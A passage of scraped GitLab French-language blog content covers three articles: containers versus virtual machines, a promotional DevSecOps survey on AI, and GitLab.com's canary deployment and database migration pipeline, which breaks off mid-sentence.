d'isolation robuste, à condition que l'OS hôte soit correctement configuré et maintenu à jour.\n\n### Scalabilité et DevOps\n\nLes conteneurs sont spécialement conçus pour les environnements DevOps et les architectures cloud-native.\n\nIls offrent une excellente scalabilité, ce qui représente un atout majeur pour les pipelines CI/CD et le développement agile.\n\nConcrètement, vous disposez d'une solution qui se met automatiquement à l'échelle selon vos besoins, grâce à des orchestrateurs comme Kubernetes. Cette flexibilité est devenue indispensable, notamment dans les secteurs à forte variabilité de charge.\n\nLes machines virtuelles sont davantage adaptées à des applications monolithiques où l'ensemble du code et des fonctionnalités sont implémentés dans un programme unique. Avec ce modèle, vous devez modifier le code source, créer et déployer une version mise à jour de l’application complète sur la machine virtuelle. Elles peuvent aussi évoluer, mais nécessitent davantage de ressources matérielles et de temps de déploiement.\n\nPour tirer pleinement parti des conteneurs en production, deux outils se distinguent : Kubernetes pour l'orchestration, et GitLab pour l'automatisation des pipelines CI/CD. Voici comment ils s'articulent.\n\n## Kubernetes et GitLab\n\nKubernetes est un système d’orchestration [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") initié par Google et aujourd’hui gouverné par la Cloud Native Computing Foundation. Il permet la création et la gestion d'applications conteneurisées avec une infrastructure flexible et évolutive. Kubernetes représente une solution très efficace pour développer des applications de type microservices plus rapidement, sans être limité à une infrastructure fixe.\nKubernetes est une solution cloud-native. Vous pouvez ainsi le déployer dans n'importe quel environnement de ce type (cloud public, privé ou hybride). Une caractéristique utile, notamment pour les entreprises qui utilisent plusieurs fournisseurs de services cloud. Vous gagnez en flexibilité et réduisez votre dépendance à un fournisseur cloud unique.\n\nL'autre grande force de Kubernetes est sa capacité d'évolutivité. Les applications développées évoluent automatiquement selon vos besoins. Vos infrastructures disposent d'une disponibilité optimale, même en cas de hausse du trafic ou de pic de charge.\n\nKubernetes intègre enfin tous les outils nécessaires pour assurer une surveillance efficace : tableaux de bord intuitifs, outils de supervision (Prometheus, Grafana), alertes, etc.\n\n### GitLab CI/CD et Kubernetes\n\nLa plateforme DevSecOps de GitLab facilite grandement la mise en place de projets conteneurisés et le développement cloud-native.\n\n[GitLab et Kubernetes](https://about.gitlab.com/fr-fr/solutions/kubernetes/ \"GitLab et Kubernetes\") fonctionnent de trois manières distinctes : \n\n* [Connectez votre cluster Kubernetes à GitLab](https://docs.gitlab.com/user/clusters/agent/) pour déployer, gérer et surveiller vos solutions cloud natives.\n  Utilisez Kubernetes pour gérer vos [GitLab Runners](https://about.gitlab.com/fr-fr/blog/what-is-gitlab-runner/ \"Qu'est-ce qu'un GitLab Runner ?\") et adaptez la charge de travail selon vos besoins.\n  Exécutez GitLab sur un cluster Kubernetes.\n\nChacune de ces approches peut être utilisée ensemble ou séparément. Par exemple, une instance Omnibus GitLab s'exécutant sur une machine virtuelle peut déployer des logiciels stockés en son sein vers Kubernetes.\n\nAvec GitLab et Kubernetes, vous adaptez ainsi vos workflows aux contraintes de votre infrastructure, tout en conservant une intégration et une automatisation complètes.\n\n## Quand choisir un conteneur ou une machine virtuelle ?\n\nDans la plupart des cas, les conteneurs constituent le choix le plus adapté aux environnements modernes, grâce à leur légèreté, leur rapidité de déploiement et leur scalabilité native. Certains contextes spécifiques justifient cependant de privilégier la machine virtuelle. C'est ce que nous allons découvrir maintenant.\n\n### Quand privilégier la machine virtuelle ?\n\nLa conteneurisation offre une sécurité suffisante pour la plupart des entreprises. Toutefois, si vous avez besoin d'environnements entièrement cloisonnés, la machine virtuelle se révèle être une option intéressante.\n\nPrenons un exemple. Votre entreprise de cybersécurité héberge plusieurs environnements de test pour analyser des malwares. Dans cette situation, la partition doit être optimale pour éviter une potentielle contamination entre les systèmes. Il est donc préférable d'utiliser une machine virtuelle.\n\nLa machine virtuelle s'impose également pour les tests en environnements multi OS. Si vous souhaitez tester des logiciels sur plusieurs systèmes d'exploitation (Windows, Linux et macOS), vous pouvez le faire à partir d'une seule machine physique. Vous faites ainsi des économies de matériel.\n\nPlus globalement, les machines virtuelles sont surtout utilisées pour les applications monolithiques ou anciennes. Si votre entreprise est gérée via un ERP développé il y a plusieurs années sur un OS hôte obsolète, la transition conteneur risque d'être complexe (migration progressive du code, refonte architecturale, etc.).\n\nIl est donc préférable de la faire tourner sur une machine virtuelle, mieux adaptée à ce type de structure logicielle.\n\n### Quand adopter les conteneurs ?\n\nAujourd'hui, les développements applicatifs s'appuient sur un modèle de microservices. Cette structure permet de tester, gérer, mettre à jour et déployer chaque module d'un logiciel, indépendamment des autres.\n\nPour arriver à ce résultat, il faut pouvoir disposer d'une distribution optimale des ressources entre les différents services. C'est exactement ce que permet la conteneurisation, grâce à sa structure légère et modulaire.\n\nCet aspect facilite grandement le travail des équipes [Devops](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\") qui profitent de déploiements [CI/CD](https://about.gitlab.com/fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation/ \"Qu'est-ce que l'approche CI/CD ?\") plus rapides et fréquents. Une méthode qui limite les erreurs liées aux importantes mises à jour grâce à une itération continue.\nLà où les conteneurs sont particulièrement efficaces, c'est lorsque l'on aborde la question de la scalabilité et de la mise à niveau. \n\nAvec la conteneurisation, l'ajout, le retrait et l'ajustement des microservices s'effectuent automatiquement, sans intervention manuelle ni interruption du service. Vous optimisez ainsi les ressources consommées, quelles que soient la charge, la demande ou la taille de votre infrastructure.\n\n## Coexistence machine virtuelle et conteneurs : la solution hybride à adopter\n\nIl est tout à fait possible de faire coexister au sein d'une même structure ces deux architectures. Par exemple, une banque peut utiliser des machines virtuelles pour ses systèmes de paiement critiques et des conteneurs pour ses applications mobiles et services cloud-native.\n\nLa machine virtuelle s'impose pour les applications complexes ou critiques qui ne peuvent pas être divisées en modules ou qui nécessitent une isolation totale.\nPour toutes les applications structurées en microservices (ou susceptibles de l'être), la conteneurisation est le modèle le mieux adapté.\n\nCependant, ce n'est pas toujours la meilleure solution. Si vous devez maintenir ou exécuter des logiciels anciens, analysez bien le rapport coût/bénéfice d'une transition en conteneurs. S'il est trop élevé ou techniquement risqué, la machine virtuelle reste plus pertinente.\n\n## Bonnes pratiques pour passer de la machine virtuelle au conteneur\n\nVous souhaitez passer de la virtualisation par machine virtuelle à la conteneurisation ? Voici comment procéder pour effectuer une transition optimale et sans rupture :\n\n* **Audit de votre structure :** identifiez les systèmes d’exploitation utilisés, les dépendances logicielles, les services en cours d’exécution pour repérer les composants critiques. L'objectif ? Vérifier la compatibilité de ces éléments avec la structure modulaire en conteneurs.\n* **Refactorisation et découplage :** la refactorisation consiste à adapter le code et les processus à une structure de logiciel en microservices. Ensuite, le découplage va isoler les services et bases de données pour les rendre indépendants les uns des autres.\n* **Empaquetage :** une étape charnière pour créer l’image du conteneur via un Dockerfile, un fichier de configuration texte qui décrit l'environnement de l'application : dépendances, variables d'environnement, commandes d'exécution, etc.\n* **Test et sécurité :** l’image conteneurisée doit être soumise à une série de tests rigoureux avant le déploiement en production. Des tests automatisés unitaires, d’intégration, de charge et de sécurité pour assurer une stabilité totale.\n* **Déploiement :** c'est ici qu'entre en jeu [GitLab CI/CD](https://docs.gitlab.com/ci/). Avec GitLab CI/CD, vous déployez automatiquement vos conteneurs via l'intégration native Kubernetes. Avec les outils de monitoring intégrés à GitLab et d'autres solutions (Prometheus, Grafana), vous suivez en temps réel l’état de vos déploiements. \n\nQue vous optiez pour les conteneurs, les machines virtuelles ou une architecture hybride, l'essentiel est d'aligner votre choix technologique sur les besoins réels de votre infrastructure. \n\n> Essayez [GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) gratuitement dès aujourd'hui !",[540,550],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1763646158/crdpd8lt5fndfzbcl9ln.jpg",{"featured":691,"template":843,"slug":1024},"containers-vs-virtual-machines",{"content":1026,"config":1035},{"title":1027,"description":1028,"authors":1029,"heroImage":1031,"date":1032,"body":1033,"category":553,"tags":1034},"[Rapport] Comment l'IA redéfinit le DevSecOps en 2026 ?","Découvrez dans notre dernier rapport DevSecOps dédié à « L'ère du développement logiciel intelligent » comment concilier gains de productivité avec qualité, fiabilité et sécurité.",[1030],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1768217269/rnpqe3mbm3b8unj8ksrk.png","2026-01-12","L'IA promet une accélération majeure en matière d'innovation, mais la plupart des équipes logicielles font face à des défis cruciaux. Selon **notre dernier [rapport DevSecOps](https://learn.gitlab.com/fr-developer-survey/report-fr-fr-fr-devsecops-report-practitioner?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_gated-content_ai_fr_dsp25_fr) dédié à « L'ère du développement logiciel intelligent »**, le code généré par l'IA représente désormais 41 % de l'ensemble du travail de développement. \n\nPourtant, 63 % des professionnels DevSecOps français déclarent que l'IA complexifie la gestion de la conformité, et 78 % estiment que l'IA agentique créera des défis de sécurité sans précédent.\n\nC'est le paradoxe de l'IA : elle accélère le codage, mais la livraison logicielle ralentit car les équipes peinent à tester, sécuriser et déployer tout ce code.\n\n> **Pour accéder à notre rapport DevSecOps complet dédié à « L'ère du développement logiciel intelligent », cliquez [ici](https://learn.gitlab.com/fr-developer-survey/report-fr-fr-fr-devsecops-report-practitioner?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_gated-content_ai_fr_dsp25_fr).**\n\n## Les gains de productivité se heurtent à des goulots d'étranglement dans les workflows\n\nLe problème n'est pas l'IA en elle-même, mais la façon dont les logiciels sont développés aujourd'hui. Le [cycle de vie DevSecOps](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"SDLC\") traditionnel comporte des centaines de petites tâches que les équipes de développement doivent gérer manuellement : mise à jour des tickets, exécution des tests, demandes de revue, attente des approbations, résolution des conflits de merge, traitement des problèmes de sécurité. Ces tâches mobilisent en moyenne six heures par semaine pour chaque membre de l'équipe, selon notre étude, sans compter les 14 heures mensuelles dédiées à la conformité.\n\nLes équipes de développement génèrent du code plus vite que jamais. D'ailleurs, **100 % des professionnels interrogés affirment que l'IA leur a permis de gagner en productivité**. Parmi les domaines où les outils d'IA ont permis les gains d'efficacité les plus importants, nous retrouvons l'automatisation des tâches répétitives (44 %), les tests/assurance qualité (38 %) et la génération de code (37 %). \n\n![Domaines où les outils d'IA ont permis les gains d'efficacité les plus importants](https://res.cloudinary.com/about-gitlab-com/image/upload/v1768227474/rhxyjdxgk4zl5fzfhrbb.png)\n\nMais ce code continue de passer par des chaînes d'outils fragmentées, des transferts manuels et des processus déconnectés. \n\nEn France, **52 % des équipes DevSecOps utilisent plus de cinq outils pour le développement logiciel, et 47 % utilisent plus de cinq outils d'IA.** Plus préoccupant encore, 48 % des professionnels utilisent des outils d'IA non officiellement approuvés par leur entreprise.\n\nCette fragmentation crée des obstacles à la collaboration : 96 % des professionnels [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") font face à des éléments qui limitent la collaboration dans le cycle de vie du développement logiciel, notamment le manque de communication interfonctionnelle (34 %), les effets de silo organisationnels (31 %) et la multiplication des outils utilisés (29 %).\n\nLa solution n'est pas d'ajouter davantage d'outils. Il s'agit plutôt d'une orchestration intelligente qui rassemble les équipes logicielles et leurs agents d'IA à travers les projets et les cycles de release, avec une sécurité, une gouvernance et une conformité de niveau entreprise intégrées nativement.\n\n## Vers un partenariat humain-IA renforcé\n\nLes professionnels DevSecOps ne veulent pas que l'IA prenne le contrôle. Ils veulent des partenariats fiables. **75 % affirment que l'utilisation de l'IA agentique augmenterait leur satisfaction au travail, et 39 % envisagent un avenir idéal avec une répartition équitable entre les contributions humaines et l'IA**. Ils sont prêts à confier 33 % de leurs tâches quotidiennes à l'IA sans révision humaine, notamment pour la documentation (48 %), la création de tests (48 %) et les revues de code (44 %).\n\nCe que nous avons entendu de manière unanime de la part des professionnels DevSecOps, c'est que l'IA ne les remplacera pas, mais qu'elle transformera fondamentalement leurs rôles. **80 % pensent que l'IA modifiera significativement leur travail dans les cinq prochaines années**. Et fait notable, 68 % estiment que cela créera même davantage d'emplois d'ingénieurs. À mesure que le codage devient plus facile avec l'IA, les ingénieurs capables de concevoir des systèmes, d'assurer la qualité et d'apporter un contexte métier seront très demandés. 83 % des répondants affirment d'ailleurs que les ingénieurs qui adoptent l'IA assurent la pérennité de leur carrière.\n\nPoint important : **85 % s'accordent à dire qu'il existe des qualités humaines essentielles que l'IA ne remplacera jamais totalement**, notamment l'innovation (42 %), la vision stratégique (42 %), la créativité (41 %) et la collaboration (38 %).\n\n![Les contributions humaines les plus précieuses dans le SDLC](https://res.cloudinary.com/about-gitlab-com/image/upload/v1768227441/dqqo93d0gwtukb7wdvn5.png)\n\nAlors comment les organisations peuvent-elles combler le fossé entre la promesse de l'IA et la réalité des workflows fragmentés ?\n\n> **Vous souhaitez en savoir plus ? [Téléchargez notre rapport complet dédié à « L'ère du développement logiciel intelligent »](https://learn.gitlab.com/fr-developer-survey/report-fr-fr-fr-devsecops-report-practitioner?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_gated-content_ai_fr_dsp25_fr).** \n\n## Participez à GitLab Transcend\n\nParticipez le 10 février prochain à notre événement GitLab Transcend, où nous dévoilerons comment l'orchestration intelligente transforme le développement logiciel alimenté par l'IA. Vous découvrirez en avant-première la roadmap produit de GitLab et apprendrez comment les équipes résolvent des défis concrets en modernisant leurs workflows de développement avec l'IA.\n\nLes organisations qui réussissent dans cette nouvelle ère trouvent un équilibre entre l'adoption de l'IA et la sécurité, la conformité et la consolidation des plateformes. L'IA offre de véritables gains de productivité lorsqu'elle est implémentée de manière réfléchie. 81 % des professionnels estiment que l'adoption systématique de l'IA générera plus de retours à long terme que son utilisation pour des solutions tactiques rapides. Non pas en remplaçant les développeurs humains, mais en libérant les professionnels DevSecOps pour qu'ils se concentrent sur la réflexion stratégique et l'innovation créative.\n\n> **Inscrivez-vous dès aujourd'hui à [GitLab Transcend](https://about.gitlab.com/fr-fr/events/transcend/virtual/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_comm_webcast_ai_fr_transcend_virtual) et découvrez comment l'orchestration intelligente peut aider vos équipes logicielles.**",[853,996,805],{"featured":13,"template":843,"slug":1036},"devsecops-report-france",{"category":756,"slug":754,"posts":1038},[1039,1052,1068],{"content":1040,"config":1050},{"tags":1041,"category":754,"date":1043,"heroImage":1044,"authors":1045,"body":1047,"description":1048,"title":1049},[793,1042],"inside GitLab","2025-12-16","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1764108112/tyntnsy3xotlmehtnfkb.png",[1046],"John Skarbek","Chaque jour, GitLab déploie des modifications de code sur GitLab.com, la plus grande instance GitLab au monde, et ce jusqu'à 12 fois sans aucun temps d'arrêt. Nous utilisons la plateforme [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"CI/CD\") de GitLab elle-même afin de gérer ces déploiements qui impactent des millions d'équipes de développement à travers le monde. Cette fréquence de déploiement constitue notre principal critère de qualité et notre test de charge. Résultat : nos clients profitent des nouvelles fonctionnalités quelques heures seulement après leur développement au lieu d'attendre des semaines ou des mois. Lorsque des organisations s'appuient sur GitLab pour leurs workflows [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"DevOps\"), elles utilisent une plateforme évolutive et éprouvée.    \n\nDans cet article, vous découvrirez comment nous avons construit un pipeline de déploiement automatisé en utilisant les fonctionnalités principales de GitLab CI/CD afin de gérer cette complexité de déploiement.\n\n## L'impératif métier de la vélocité de déploiement\n\nPour GitLab, la fréquence de déploiement ne représente pas simplement un indicateur technique, il s'agit au contraire d'un impératif métier. Des cycles de déploiement rapides nous permettent de répondre aux retours clients en quelques heures, de déployer immédiatement des correctifs de sécurité et de valider les nouvelles fonctionnalités en production avant de les déployer à grande échelle.\n\nPour nos clients, chaque déploiement vers GitLab.com valide les pratiques de déploiement que nous recommandons à nos utilisateurs. Lorsque vous utilisez les fonctionnalités de déploiement de GitLab, vous utilisez la même approche éprouvée qui gère quotidiennement des millions d'opérations [git](https://about.gitlab.com/fr-fr/blog/2024/10/08/what-is-git/ \"Git\"), de [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Pipeline CI/CD\") et d'interactions utilisateurs. Vous bénéficiez ainsi des avantages suivants :\n\n- Disponibilité immédiate des dernières fonctionnalités : les nouvelles fonctionnalités vous parviennent quelques heures après leur finalisation, et non dans des cycles trimestriels.\n- Fiabilité éprouvée à grande échelle : si une fonctionnalité fonctionne sur GitLab.com, il en ira de même pour votre environnement.\n- Valeur complète de GitLab : les déploiements sans interruption garantissent un accès constant à votre [plateforme DevOps](https://about.gitlab.com/fr-fr/solutions/devops-platform/ \"Plateforme DevOps\"), même pendant les mises à jour.\n- Pratiques testées en conditions réelles : notre documentation de déploiement ne relève pas de la théorie et reflète exactement la manière dont nous exploitons la plus grande instance GitLab existante.\n\n\n## Architecture du flux de code\n\n\nNotre pipeline de déploiement suit une progression structurée à travers plusieurs étapes, chacune agissant comme un point de contrôle sur le parcours allant de la proposition de code au déploiement en production.\n```mermaid\n  graph TD\n      A[Code proposé] --> B[Merge request créée]\n      B --> C[Pipeline déclenché]\n      C --> D[Build et test]\n      D --> E{Spécifications/intégration/tests QA réussis ?}\n      E -->|Non| F[Boucle de rétroaction]\n      F --> B\n      E -->|Oui| G[Merge vers la branche par défaut]\n      G -->|Périodiquement| H[Branche déployée automatiquement]\n\n      subgraph \"Pipeline de déploiement\"\n          H --> I[Création de paquet]\n          I --> K[Environnement canari]\n          K --> L[Validation QA]\n          L --> M[Environnement principal]\n\n      end\n```\n\n## Composition du pipeline de déploiement\n\nNotre approche de déploiement utilise les capacités CI/CD natives de GitLab afin d'orchestrer des déploiements complexes sur une infrastructure hybride.\nVoici comment nous procédons.\n\n\n### Build\n\n\nLe build de GitLab constitue en soi un sujet complexe, c'est pourquoi nous en aborderons les détails à un niveau général.\n\nNous construisons à la fois notre paquet Omnibus et nos images Cloud Native GitLab (CNG). Les paquets Omnibus se déploient sur notre flotte Gitaly (notre couche de stockage Git), tandis que les images CNG exécutent tous les autres composants sous forme de charges de travail conteneurisées. D'autres services dynamiques comme Postgres et Redis ont pris une telle ampleur que nous disposons d'équipes dédiées qui les gèrent séparément. Pour GitLab.com, ces systèmes ne sont pas déployés lors de nos procédures de déploiement automatique.\n\n\nNous disposons d'un pipeline planifié qui examine régulièrement `gitlab-org/gitlab` et recherche le commit le plus récent sur la branche par défaut avec un pipeline réussi (« vert »). Les pipelines verts signalent que chaque composant de GitLab a réussi sa suite de tests complète. Nous créons ensuite une **branche déployée automatiquement** à partir de ce commit.\n\n\nUne séquence d'événements est déclenchée : nous devons construire ce paquet et tous les composants qui font partie de notre monolithe. Un autre pipeline planifié sélectionne le dernier paquet construit et initie le pipeline de déploiement, ce qui ressemble à ceci :\n\n```mermaid\n  graph LR\n      A[Créer une branche] --> B[Build]\n      B --> C[Choisir le paquet construit]\n      C --> D[Démarrer le pipeline de déploiement]\n```\n\nLe build prend un certain temps et, étant donné que les déploiements peuvent varier en raison de diverses circonstances, nous choisissons le dernier build à déployer. Techniquement, nous construisons plus de versions de GitLab pour GitLab.com que nous n'en déploierons jamais. Cela nous permet de toujours disposer d'un paquet prêt à être utilisé, ce qui nous rapproche le plus possible d'un produit entièrement livré en continu pour GitLab.com.\n\n\n### Validation basée sur l'environnement et stratégie canari\n\nL'assurance qualité (QA) ne constitue pas ici une simple réflexion après coup : elle est intégrée à chaque couche, du développement au déploiement. Notre processus QA exploite des suites de tests automatisées qui incluent des tests unitaires, des tests d'intégration et des tests de bout en bout qui simulent les interactions réelles des utilisateurs avec les fonctionnalités de GitLab. Mais plus important encore pour notre pipeline de déploiement, notre processus QA fonctionne en synergie avec notre stratégie canari via une validation basée sur l'environnement .\n\n\nDans le cadre de notre approche de validation, nous exploitons les [déploiements canari](https://docs.gitlab.com/user/project/canary_deployments/) natifs de GitLab. Ces derniers permettent une validation contrôlée des modifications avec une exposition limitée au trafic avant le déploiement complet en production. Environ 5 % de l'ensemble du trafic passe par [l'étape canari](https://handbook.gitlab.com/handbook/engineering/infrastructure/environments/canary-stage/#environments-canary-stage). Cette approche augmente la complexité des migrations de base de données, mais des étapes canari réussies garantissent le déploiement d'un produit fiable de manière transparente.\n\nLes fonctionnalités de déploiement canari que vous utilisez dans GitLab ont été affinées grâce à la gestion de l'un des scénarios de déploiement les plus complexes en production. Lorsque vous implémentez des déploiements canari pour vos applications, vous utilisez des modèles éprouvés à très grande échelle.\nNotre processus de déploiement suit une stratégie de déploiement progressif :\n1. **Préproduction canari :** environnement de validation initial\n2. **Production canari :** trafic de production limité\n3. **Préproduction environnement principal :** déploiement complet de l'environnement de préproduction\n4. **Production environnement principal :** déploiement complet en production\n```mermaid\n  graph TD\n      C[Déploiement préproduction canari]\n      C --> D[QA – smoke tests étape environnement principal]\n      C --> E[QA – smoke tests étape canari]\n      D --> F\n      E --> F{Tests réussis ?}\n      F -->|Oui| G[Déploiement production canari]\n      G --> S[QA – smoke tests étape environnement principal]\n      G --> T[QA – smoke tests étape canari]\n      F -->|Non| H[Création de ticket]\n      H --> K[Correction et rétroportage]\n      K --> C\n\n      S --> M[Surveillance trafic canari]\n      T --> M[Période de stabilisation surveillance trafic canari]\n      M --> U[Vérifications de sécurité production]\n      U --> N[Préproduction environnement principal]\n      N --> V[Production environnement principal]\n```\nNotre validation QA intervient à plusieurs points de contrôle tout au long de ce processus de déploiement progressif : après chaque déploiement canari, puis de nouveau après les migrations post-déploiement. Cette approche multi-couches garantit que chaque phase de notre stratégie de déploiement dispose de son propre filet de sécurité. Vous pouvez en apprendre davantage sur [l'approche de test complète de GitLab](https://handbook.gitlab.com/handbook/engineering/testing/) dans notre handbook.\n\n## Pipeline de déploiement\n\nVoici les défis que nous relevons avec notre pipeline de déploiement.\n\n### Considérations relatives à l'architecture technique\n\nGitLab.com représente une complexité de déploiement réelle à grande échelle. En tant que plus grande instance GitLab connue, les déploiements utilisent notre chart Helm GitLab officiel et le paquet Linux officiel, soit les mêmes artefacts que nos clients utilisent. Vous pouvez en apprendre davantage sur [l'architecture de GitLab.com](https://handbook.gitlab.com/handbook/engineering/infrastructure/production/architecture/#gitlab-com-architecture) dans notre manuel. Cette approche hybride signifie que notre pipeline de déploiement doit gérer intelligemment à la fois les services conteneurisés et les services Linux traditionnels au sein du même cycle de déploiement.\n\n**Utilisation de nos fonctionnalités à grande échelle (dogfooding) :** nous déployons en utilisant les mêmes procédures que nous documentons pour les [mises à niveau sans temps d’arrêt](https://docs.gitlab.com/update/zero_downtime/). Si certaines fonctionnalités ne fonctionnent pas correctement pour nous, nous ne les recommandons pas à nos clients. Cette contrainte que nous nous imposons stimule l'amélioration continue de nos outils de déploiement.\n\nLes étapes suivantes sont exécutées pour toutes les mises à niveau d'environnement et d'étape :\n```mermaid\n  graph LR\n      a[Préparation] --> c[Migrations régulières – étape canari uniquement]\n      a --> f[Actifs – étape canari uniquement]\n      c --> d[Gitaly]\n      d --> k8s\n\n      subgraph subGraph0[\"Charges de travail MV\"]\n        d[\"Gitaly\"]\n      end\n\n      subgraph subGraph1[\"Charges de travail Kubernetes\"]\n        k8s[\"k8s\"]\n      end\n\n      subgraph fleet[\"Flotte\"]\n        subGraph0\n        subGraph1\n      end\n```\n\n**Détails des étapes :**\n\n\n- **Préparation :** cette étape valide la préparation du déploiement et effectue des vérifications de pré-déploiement.\n\n- **Migrations :** cette étape exécute les migrations régulières de base de données, uniquement pendant l'étape canari. Étant donné que les étapes canari et environnement principal partagent la même base de données, ces modifications sont déjà disponibles lorsque l'étape environnement principal se déploie, ce qui signifie qu'il n'est plus nécessaire de répéter ces tâches.\n\n- **Actifs :** nous exploitons un bucket GCS pour tous les actifs statiques. Si de nouveaux actifs sont créés, nous les importons vers notre bucket de sorte qu'ils soient immédiatement disponibles pour notre étape canari. Comme nous exploitons WebPack pour les actifs et utilisons correctement les SHA dans le nommage de nos actifs, nous pouvons être sûrs que nous n'écrasons pas un actif plus ancien. Par conséquent, les anciens actifs restent disponibles pour les déploiements plus anciens et les nouveaux actifs sont immédiatement disponibles lorsque l'étape canari commence son déploiement. Cela se produit uniquement pendant le déploiement de l'étape canari. Étant donné que l'étape canari et l'étape environnement principal partagent le même stockage d'actifs, ces modifications sont déjà disponibles lorsque l'étape environnement principal se déploie.\n\n- **Gitaly :** cette étape met à jour la couche de stockage de la machine virtuelle Gitaly via notre paquet Linux Omnibus sur chaque nœud Gitaly. Ce service est unique car nous [le regroupons avec `git`](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/git-execution-environments.md). Par conséquent, nous devons garantir que ce service soit capable de procéder à des mises à niveau atomiques. Nous exploitons un [encapsuleur autour de Gitaly](https://gitlab.com/gitlab-org/gitaly/-/tree/master/cmd/gitaly-wrapper), qui nous permet d'installer une version plus récente de Gitaly et d'utiliser la bibliothèque [`tableflip`](https://github.com/cloudflare/tableflip) afin de faire pivoter proprement le Gitaly en cours d'exécution, et de garantir la haute disponibilité de ce service sur chacune de nos instances.\n\n- **[Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Kubernetes\") :** déploie les composants GitLab conteneurisés via notre chart Helm. Notez que nous déployons sur de nombreux clusters répartis sur plusieurs zones pour des questions de redondance, ces étapes sont donc généralement divisées en leurs propres étapes afin de minimiser les dommages et de nous permettent d'arrêter un déploiement en cours si des problèmes critiques sont détectés.\n\n\n### Compatibilité multi-versions : le défi caché\n\n\nÀ la lecture de nos processus, vous remarquerez qu'il existe une période pendant laquelle notre schéma de base de données est en avance sur le code que l'étape environnement principal connaît. Cette situation se produit parce que l'étape canari a déjà déployé le nouveau code et exécute des migrations régulières de base de données, mais l'étape environnement principal exécute toujours la version précédente du code qui ne connaît pas encore ces nouvelles modifications de base de données.\n\n**Exemple concret :** imaginons que nous ajoutons un nouveau champ `merge_readiness` aux merge requests. Pendant le déploiement, certains serveurs exécutent du code qui s'attend à ce champ, tandis que d'autres ignorent son existence. Si nous gérons mal cette situation, GitLab.com sera inutilisable pour des millions d'utilisateurs. Si nous la gérons bien, personne ne remarquera quoi que ce soit.\n\nCette situation se produit également avec la plupart des autres services. Par exemple, si un client envoie plusieurs requêtes, il est possible que l'une d'entre elles aboutisse dans notre étape canari ; d'autres requêtes pourraient être dirigées vers l'étape environnement principal. Ce n'est pas très différent d'un déploiement, car il faut un temps considérable pour parcourir les quelques milliers de pods qui exécutent nos services.\n\n\nÀ quelques exceptions près, la grande majorité de nos services exécutera une version légèrement plus récente de ce composant dans l'étape canari pendant une certaine période. Dans un sens, ces scénarios sont tous des états transitoires. Mais ils peuvent souvent persister pendant plusieurs heures ou jours dans un environnement de production actif. Par conséquent, nous devons les traiter avec le même soin que les états permanents. Pendant tout déploiement, plusieurs versions de GitLab s'exécutent simultanément, et elles doivent toutes cohabiter harmonieusement.\n\n## Opérations de base de données\n\nLes migrations de base de données présentent un défi unique dans notre modèle de déploiement canari. Nous avons besoin de modifier le schéma afin de prendre en charge les nouvelles fonctionnalités et de maintenir notre capacité à effectuer un retour à la version précédente si des problèmes surviennent. Notre solution implique une séparation minutieuse des préoccupations :\n\n- **Migrations régulières :** exécutées pendant l'étape canari, conçues pour être rétrocompatibles, constituées uniquement de modifications réversibles.\n\n- **Migrations post-déploiement :** les migrations « point de non-retour » qui se produisent uniquement après plusieurs déploiements réussis.\n\n\nLes modifications de base de données sont gérées avec précision et selon des procédures de validation approfondies :\n\n```mermaid\n  graph LR\n      A[Migrations régulières] --> B[Déploiement étape canari]\n      B --> C[Déploiement étape environnement principal]\n      C --> D[Migrations post-déploiement]\n\n```\n### Migrations post-déploiement\n\n\nLes déploiements GitLab impliquent de nombreux composants. La mise à jour de GitLab n'est pas atomique, c'est pourquoi de nombreux composants doivent être rétrocompatibles.\n\n\nLes migrations post-déploiement contiennent souvent des modifications qui ne peuvent pas être facilement annulées, comme les transformations de données, les suppressions de colonnes ou les modifications structurelles qui entraîneraient une rupture dans les versions de code plus anciennes. En les exécutant _après_ plusieurs déploiements réussis, nous garantissons les aspects suivants :\n\n\n1. **Le nouveau code est stable** et il est peu probable que nous ayons besoin de devoir retourner à la version précédente.\n\n2. **Les caractéristiques de performance** sont bien comprises en production.\n\n3. **Tous les cas marginaux** ont été découverts et traités.\n\n4. **Le rayon d'impact** est minimisé en cas de problème.\n\n\nCette approche offre un équilibre optimal entre un déploiement rapide des fonctionnalités via les releases canari et des capacités de retour à la version précédente jusqu'à ce que nous ayons suffisamment confiance dans la stabilité du déploiement.\n\n\n**Modèle étendre-migrer-réduire :** nos modifications de compatibilité de base de données, frontend et application suivent une approche en trois phases soigneusement orchestrée.\n\n\n1. **Étendre :** ajouter de nouvelles structures (colonnes, index) tout en gardant les anciennes fonctionnelles.\n\n2. **Migrer :** déployer le nouveau code d'application qui utilise les nouvelles structures.\n\n3. **Réduire :** supprimer les anciennes structures dans les migrations post-déploiement une fois que tout est stable.\n\n**Exemple concret :** lors de l'ajout d'une nouvelle colonne `merge_readiness` aux merge requests :\n\n1. **Étendre :** ajouter la nouvelle colonne avec une valeur par défaut ; le code existant l'ignore.\n\n2. **Migrer :** déployer le code qui lit et écrit dans la nouvelle colonne tout en prenant en charge l'ancienne approche.\n\n3. **Réduire :** après plusieurs déploiements réussis, supprimer l'ancienne colonne dans une migration post-déploiement\n\nToutes les opérations de base de données, le code d'application, le code frontend et bien d'autres, sont soumis à un ensemble de directives que les équipes d’ingénieries doivent respecter, que vous pouvez consulter dans notre [documentation sur la compatibilité 